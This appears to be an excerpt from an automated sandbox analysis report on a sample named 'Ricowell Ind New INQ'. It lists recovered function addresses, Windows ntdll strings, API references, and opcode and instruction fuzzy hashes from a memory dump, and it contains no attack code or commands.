Opcode Fuzzy Hash: 9c0ba40b3e4ea2935f22573b43f1e318cf3f2f963910883089bed8563648c395
Instruction Fuzzy Hash: 2741D4782003C48FFB15CF1CC4E8BB577A19F22365F7484ADD496CB65ACA65E885CB22

Function 378B15EF Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrtls.c, xrefs: 378F1954
LdrpAllocateTls, xrefs: 378F194A
TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 378F1943

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
API String ID: 0-4274184382
Opcode ID: 05908f666ac7075b443f47c379c481784906c192646233c7d7c4a5c3a11cd317
Instruction ID: 1fcfa47199f2305a2c2b5bf59d95f1f66ae2194699b9aa90c2add2a546950a60
Opcode Fuzzy Hash: 05908f666ac7075b443f47c379c481784906c192646233c7d7c4a5c3a11cd317
Instruction Fuzzy Hash: 4A418DB5E00209AFDB14CFA8D841BAEBBF5FF69314F044529E412AB351DB39A800CF51

Function 378B32C0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

SXS: %s() passed the empty activation context data, xrefs: 378F2808
RtlCreateActivationContext, xrefs: 378F2803
Actx , xrefs: 378B32CC

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: 03f6d518574b5f3f33a3ddc1514e443e2a66b3da9f8d7158a80b374ffdc877e4
Instruction ID: bf053141aed26e71105e590210b92649bb68bf20c02eb83f6719d75264163489
Opcode Fuzzy Hash: 03f6d518574b5f3f33a3ddc1514e443e2a66b3da9f8d7158a80b374ffdc877e4
Instruction Fuzzy Hash: D2313372600705AFEF12CE58E880B9A37A4EB28724F004468ED15DF381DBB5E809CBE0

Function 3790B214 Relevance: 3.9, Strings: 3, Instructions: 107COMMON

Download Yara Rule

Strings

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 3790B2B2
GlobalFlag, xrefs: 3790B30F
@, xrefs: 3790B2F0

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: 1f512abb24a8782dd429a95b9a1df19b09ae02f03cd53b3ae9782ab4044b76b2
Instruction ID: e5dada20c8dd01fadc1f40d7e18df01afdddc708004a0925454a678e390cd270
Opcode Fuzzy Hash: 1f512abb24a8782dd429a95b9a1df19b09ae02f03cd53b3ae9782ab4044b76b2
Instruction Fuzzy Hash: A7316DB1E41209AEDB00DF99DC80AEEBBBCEF54348F500469E611AB250D7349A04CF91

Function 378B1527 Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

LdrpInitializeTls, xrefs: 378F1851
minkernel\ntdll\ldrtls.c, xrefs: 378F185B
DLL "%wZ" has TLS information at %p, xrefs: 378F184A

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: 3231ec09606bd54d941571f7504b4c2b43cfb55844bb2b1251c4525c63d6fa53
Instruction ID: 3ac1b4d765eb0d47ce00952628df6c9681236d92a351198163f541bf5d7072e3
Opcode Fuzzy Hash: 3231ec09606bd54d941571f7504b4c2b43cfb55844bb2b1251c4525c63d6fa53
Instruction Fuzzy Hash: A131D571E50344BBFB208F58DDC6B5A7668AB65758F010119E512FB380DB78BD018BA1

Function 378C1190 Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 378C119B
@, xrefs: 378C11C5
BuildLabEx, xrefs: 378C122F

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-3051831665
Opcode ID: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction ID: c7dde1fb02a566adb87801a58c64ec355f42ab468aaee60c80ddb5f2b05b71f5
Opcode Fuzzy Hash: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction Fuzzy Hash: F431A1B6D0121AFBDB11CB99DC40EEEBB79EBA4760F104025F514E72A0EB34DA058B91

Function 379085AA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 379085DE

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: d545a419d501e9523e4a109973b141405e73c282c3e81a6f923b2bebcad87ba5
Instruction ID: fe99e6d3ae88b3d16ac2aad2617c8e867ecf9dc277920d00bbf3b486511224d8
Opcode Fuzzy Hash: d545a419d501e9523e4a109973b141405e73c282c3e81a6f923b2bebcad87ba5
Instruction Fuzzy Hash: E5017639320B44AFE7609A14D844F1A3B7DEF413BCF4207E8E10257462CF28AC81EE96

Function 378951C0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 378954C3
@, xrefs: 37895365

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 62d42f0747d9c3ca4499227ee9b30b54ba3a43d3c81224597dcf35c49c9e6f93
Instruction ID: c958f246669d6683d6c2020990345963a956abc28d7defa58f6e0814c83c05dc
Opcode Fuzzy Hash: 62d42f0747d9c3ca4499227ee9b30b54ba3a43d3c81224597dcf35c49c9e6f93
Instruction Fuzzy Hash: 2532EFB46093119FD710CF14C480BBEB7E5EFAA760F40492EF99597690E734E984CB92

Function 37885622 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 37885698
RtlDebugPrintTimes.NTDLL ref: 378E061D

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 5327fca58163ce41036cb1bbad207aa6f480d25a6169c0d59e1ad16bf65de170
Instruction ID: 0a15d010ce34fcddad6d35542127d27241c6ccd5e6b3d487c506ba2e4a8a2f9b
Opcode Fuzzy Hash: 5327fca58163ce41036cb1bbad207aa6f480d25a6169c0d59e1ad16bf65de170
Instruction Fuzzy Hash: 2431CD30702B0ABFE745DF24CA40B9AFBA9BFA4764F000125E91187E60DB74E821CF81

Function 378FE372 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 378FE3DA
UEFI, xrefs: 378FE3D1

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 95e2c0e18b26fa427bbadfa7a80d394ed07363e8e52c586db864e3ea16b28f41
Instruction ID: 9b3858fa5b1c43f7e87f64b5683fb2752e19afe51c1ed0f48082ab98580e5d33
Opcode Fuzzy Hash: 95e2c0e18b26fa427bbadfa7a80d394ed07363e8e52c586db864e3ea16b28f41
Instruction Fuzzy Hash: FC616AB1A007099FEB14CFA8D880BADB7B9FF68754F10402EE559EB251EA31E900CB51

Function 3795B55F Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

RedirectedKey, xrefs: 3795B60E
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 3795B5C4

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 0-1388552009
Opcode ID: 3a4912578aa3463b3a8bd7deb0a0bd6bfae724df813fdec6940e2f2798a94246
Instruction ID: 91ea5d1a8d01b2d46cc0124d9af75548bf3822a86939169be1df201496431afa
Opcode Fuzzy Hash: 3a4912578aa3463b3a8bd7deb0a0bd6bfae724df813fdec6940e2f2798a94246
Instruction Fuzzy Hash: ED6106B5C01229EBDB11CF94C948ADEBFB9FB48724F50816AE405E7250D7389A45CF90

Function 3789F640 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 3789F780
$, xrefs: 3789F716

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: 1844bd887c7fc7ed0a0db784988224d13f54bb84f73040da2eeb3938a769c8ef
Instruction ID: 46fa0de60b9dbcf016b6e7e718238bce94c0797ed63845b7a2e0f0e79763518f
Opcode Fuzzy Hash: 1844bd887c7fc7ed0a0db784988224d13f54bb84f73040da2eeb3938a769c8ef
Instruction Fuzzy Hash: F961DF75A00789DFEB64CFA8C580BEDB7B1BF65318F104079E1246B650CB79A941CF92

Function 3788A1E3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Enter, xrefs: 3788A21B
RtlpResUltimateFallbackInfo Exit, xrefs: 3788A229

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 157b25f6d1bd06da7a3e4b55626d5d2765730f23ee8f9cb33c11bb251c3b54a4
Instruction ID: 294e10ba0c3f1ea2f41e19395e2a2349f57be0cd17ece2838b5b38a52457230c
Opcode Fuzzy Hash: 157b25f6d1bd06da7a3e4b55626d5d2765730f23ee8f9cb33c11bb251c3b54a4
Instruction Fuzzy Hash: 6C41D175600B44EFE711DF59C480FA977B8FF66764F1044A5E814EB6A1E735E900CB12

Function 378B31BE Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 378B322D
.Local\, xrefs: 378B31D5

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: f15ce014c3b96aa00fa029bc6b8da73b7d0133867e40b1de4ee680355961bef8
Instruction ID: a9894ca47983d02fc81eba1fe0f9c2c796e52163cf29bfb4a46bfd32e18dad7a
Opcode Fuzzy Hash: f15ce014c3b96aa00fa029bc6b8da73b7d0133867e40b1de4ee680355961bef8
Instruction Fuzzy Hash: F93181B6549705AFD721CF28C880A5BBBE8FFA9654F00092EF99483750D674DD09CB93

Function 378B33D0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 378F289F
RtlpInitializeAssemblyStorageMap, xrefs: 378F289A

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: 4f14fc8bc7ce12ce09e87750bbf5fee6533e76fa7e7d2f67f2215908b1ac941d
Instruction ID: b56db0c0a5cf9fa941bbc07332f913ee498276648197225fd0421f4d32ca88d5
Opcode Fuzzy Hash: 4f14fc8bc7ce12ce09e87750bbf5fee6533e76fa7e7d2f67f2215908b1ac941d
Instruction Fuzzy Hash: D8112972B10204BFFB258E48DC41F5F76A8EBA8B64F108079BA04DB344DAB5DD0086A1

Function 378BA4F0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Cleanup Group, xrefs: 378BA504
Threadpool!, xrefs: 378BA509

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: d363745f958e4546d54e9ee84305096b25c99ea3a63947dc6f5d4614044760a8
Instruction ID: 0139b66275eae96901ad1c3d636dc70ede39be2d2da6d67659a076317e141b52
Opcode Fuzzy Hash: d363745f958e4546d54e9ee84305096b25c99ea3a63947dc6f5d4614044760a8
Instruction Fuzzy Hash: 8801D1B2154740AFE321DF58CD85B627BF8EB61729F008979A658C7690E738EA04CB47

Function 3788C6E0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 3788C7E3, 3788C960

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 9190c58cb1eb2958543f67b408f6de0e47794d012a7046c35e06828363c000cd
Instruction ID: a41229941399271835c916936e459b8a4267695bbe5f022aa1747d8ec09d5152
Opcode Fuzzy Hash: 9190c58cb1eb2958543f67b408f6de0e47794d012a7046c35e06828363c000cd
Instruction Fuzzy Hash: 5D824E7AD00318AFEB14CFA9C8807ADB7F1BF58364F1081A9D859AB354EB34A945CF50

Function 378864F0 Relevance: 1.9, APIs: 1, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7760b1f6e2f3e411104da3e4396d2c26275294e8158d8168813d32ccb04fcd68
Instruction ID: 685ccd3c15eab6c7da3d417c4b7ddf235df9c7267a9d51f094b443dd6631b1c4
Opcode Fuzzy Hash: 7760b1f6e2f3e411104da3e4396d2c26275294e8158d8168813d32ccb04fcd68
Instruction Fuzzy Hash: F5E1797460834ADFD304CF28C480B5ABBE1FF99364F548A6DE4998B352DB31E905CB92

Function 378AE507 Relevance: 1.8, APIs: 1, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5812418f0a0ce2f447e8029922f7745aaf737493fd05d95d73436511259a1818
Instruction ID: 2f660514a839f52e02fe5ac4c5549344e82093a333aa3e7a4477a7b73742370e
Opcode Fuzzy Hash: 5812418f0a0ce2f447e8029922f7745aaf737493fd05d95d73436511259a1818
Instruction Fuzzy Hash: FFA12971E00358EFFB51CFA8C845B9DB7B8AF157A8F010A65E910BB690D778AD00CB91

Function 37887623 Relevance: 1.7, APIs: 1, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa3abd29f4b463d1857ae0c52fc71872aee5ea12ef7a75984b852845600f08f8
Instruction ID: 12570818975084fb37234237bbcb7310910b348a87dafbc8872d956d91bdddaa
Opcode Fuzzy Hash: fa3abd29f4b463d1857ae0c52fc71872aee5ea12ef7a75984b852845600f08f8
Instruction Fuzzy Hash: 52619175A01616AFDB08DFACC880B9DFBB5BF58354F24826ED419A7300DB34A941CF90

Function 3788254C Relevance: 1.6, APIs: 1, Instructions: 119timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 37882630

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 8a4f57a37b21d21c21f79664c5acfede2a2c1adaca8a194b60dab971e8a3dc8d
Instruction ID: 6ccd0525887a1b49bd82de532ffaf0518ce91f6621f424a5178d067ac6504638
Opcode Fuzzy Hash: 8a4f57a37b21d21c21f79664c5acfede2a2c1adaca8a194b60dab971e8a3dc8d
Instruction Fuzzy Hash: C741D1B5541704EFD764CF28C950B99B7F1FFA5364F1087AAC0269B6A0EB38A941CF42

Function 37884779 Relevance: 1.6, APIs: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 37884817

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: fc52d55713b7d3558c1238e59749c9b579da435bcbb199a38d85a396bfc3444f
Instruction ID: e519ed53f4e700e951e77edaf4f232f626fa994e1ddf8b672ca4be61657d82e7
Opcode Fuzzy Hash: fc52d55713b7d3558c1238e59749c9b579da435bcbb199a38d85a396bfc3444f
Instruction Fuzzy Hash: 76416D76600381AFE310CF28D894B2AB7EAFFA1364F50453DF5598B2A0DB34E845CB91

Function 3787B420 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3787B4AC

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 21b493717bc01010065a7816f39be96e95c10d6bc23625550e642de1401adf39
Instruction ID: 0301ccca724ec323e59819f89f1d5a529d167444087dd44834d53c5ec3f8f2ea
Opcode Fuzzy Hash: 21b493717bc01010065a7816f39be96e95c10d6bc23625550e642de1401adf39
Instruction Fuzzy Hash: A83135725402889FD711CF1CC881A5A7BAAFF55364F5042A9ED169F291CB31ED42CFD0

Function 378856E0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 37885762

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 3c9f000a8feeff68a848ffc9202c52cc310a6e3bea5a53d70755fe380f7704e1
Instruction ID: 79f1d0c9ef9499f76301daa0ba05e3a694e633bef9e6fb3979a852b2c2a82ea1
Opcode Fuzzy Hash: 3c9f000a8feeff68a848ffc9202c52cc310a6e3bea5a53d70755fe380f7704e1
Instruction Fuzzy Hash: 8931BC35316A09FFE7459F24CA80B99BBA5FF99364F509065E81087E61CB35E930CF81

Function 3792E750 Relevance: 1.6, APIs: 1, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3792E7B1

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: cbad79685f261cac3e8515be6787158f19c7a0c445a9df34bf1da8d88476fccd
Instruction ID: 678c6fd171d50a957d54e9801e3398027c66ce970def6d7a2cec188561954762
Opcode Fuzzy Hash: cbad79685f261cac3e8515be6787158f19c7a0c445a9df34bf1da8d88476fccd
Instruction Fuzzy Hash: CF319CB55053859FC700EF19C48494ABBF9FF8A668F4486AEE4889B215D730ED09CF92

Function 37883536 Relevance: 1.6, APIs: 1, Instructions: 84timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378835C1

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: df0195b35a0660deb405c2d9456222c2ace50b4e8c8954858abbe79779e98ac1
Instruction ID: d883afbb6dcb3429795e30222cc6dd7b2ef07a8c6e25033e07a8ade761c0ee07
Opcode Fuzzy Hash: df0195b35a0660deb405c2d9456222c2ace50b4e8c8954858abbe79779e98ac1
Instruction Fuzzy Hash: 0421F235105740AFD721DF08C944B5EBBA5EF99B64F410669E8495BB40C774E848CB92

Function 378792AF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378792D5

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
